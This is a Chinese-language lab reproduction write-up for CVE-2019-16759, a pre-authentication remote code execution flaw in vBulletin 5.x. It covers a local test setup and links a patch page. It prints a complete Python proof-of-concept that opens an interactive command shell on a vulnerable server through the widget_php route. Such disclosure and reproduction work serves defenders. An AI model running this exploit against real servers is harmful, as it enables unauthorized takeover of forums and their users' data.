1.vBulletin介紹
vBulletin 是世界上用戶非常廣泛的PHP論壇,很多大型論壇都選擇vBulletin作爲自己的社區。vBulletin高效,穩定,安全,在中國也有很多大型客戶,比如蜂鳥網,51團購,海洋部落等在線上萬人的論壇都用vBulletin。
vBulletin的官方網站是 http://www.vBulletin.com 它不是免費軟件,但價格很低。
2.漏洞描述
vBulletin 5.x 爆出一個前臺遠程代碼執行漏洞,無需登錄即可觸發。poc也在網絡上流傳。poc地址爲:https://seclists.org/fulldisclosure/2019/Sep/31
3.cve編號
CVE-2019-16759
4.影響範圍
5.0.0 <= vBulletin <=5.5.4
5.漏洞復現
1.在phpstudy的www目錄下上傳安裝包,然後將安裝包改名爲vb5,將/vb5/core/includes/config.php.new重命名爲config.php,修改數據庫密碼和數據庫名稱。在將/vb5/config.php.bkp重命名爲config.php。將其中的baseurl設置爲vb5目錄的url,我這裏的爲http://127.0.0.1/vb5。遊覽器輸入http://127.0.0.1/vb5/core/install/install.php進行安裝。如圖,只需要耐心等待並且按照提示設置即可。可參考安裝包目錄下的vb5readme.html文件。
2.安裝成功之後,訪問http://127.0.0.1/vb5,如圖所示,至此環境搭建成功
3.使用poc驗證漏洞
4.poc代碼
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = input("vBulletin$ ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print (r.text)
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception as e:
sys.exit(str(e))
5.安全建議
https://www.vbulletin.com/en/customer/account/login/?goto=aHR0cHM6Ly9tZW1iZXJzLnZidWxsZXRpbi5jb20vcGF0Y2hlcy5waHA%3D
6.參考文章
https://www.cnblogs.com/sch01ar/p/8168996.html
https://github.com/jas502n/CVE-2019-16759
https://xz.aliyun.com/t/6419
https://seclists.org/fulldisclosure/2019/Sep/31
https://www.zzwa.org.cn/1759/